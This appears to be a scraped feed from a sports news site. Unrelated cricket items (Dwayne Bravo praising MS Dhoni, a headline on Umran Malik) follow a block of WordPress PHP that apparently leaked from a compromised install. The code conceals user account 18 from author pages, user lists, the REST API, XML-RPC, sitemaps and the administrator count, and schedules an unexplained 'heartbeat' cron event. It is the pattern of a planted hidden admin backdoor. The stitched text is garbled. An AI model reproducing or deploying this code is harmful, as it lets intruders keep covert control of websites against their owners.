add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Dwayne Bravo Praises MS Dhoni, Calls Him Brother From Another Mother appeared first on The Edge Media.
]]>Bravo recalled an incident from the 2018 IPL season, when CSK returned after serving a two year suspension. While fielding at long on, Bravo dived to stop a boundary, only to be advised by Dhoni to avoid risking injury.
He said Dhoni later told him that his four overs as a bowler were more valuable to the team than saving a few runs in the field. The moment left a lasting impression on Bravo, who said it made him reassess how he approached fielding.
He explained that Dhoni has an exceptional ability to recognise what each player brings to the team and prefers them to focus on their core responsibilities. According to Bravo, Dhoni never tries to change a player’s natural style and instead makes expectations clear, allowing individuals to perform with confidence and freedom.
Speaking further, Bravo described Dhoni as a quiet and relaxed leader who trusts his teammates and lets them express themselves. He recalled his first match for CSK in 2011 against Rajasthan Royals, when Dhoni asked him about his preferred field placements. Although Dhoni initially suggested a change, he accepted Bravo’s request and never interfered with his fielding plans again. Bravo said that moment helped build mutual trust between them.
From that point on, Bravo said their bond grew stronger, and they began referring to each other as brothers from different mothers. He credited Dhoni for creating an environment where players feel trusted and valued, allowing them to perform at their best without unnecessary pressure.
The post Dwayne Bravo Praises MS Dhoni, Calls Him Brother From Another Mother appeared first on The Edge Media.
]]>The post Umran Malik Breaks Record As The Fastest Bowler In IPL Against Delhi Capitals appeared first on The Edge Media.
]]>
The post Umran Malik Breaks Record As The Fastest Bowler In IPL Against Delhi Capitals appeared first on The Edge Media.
]]>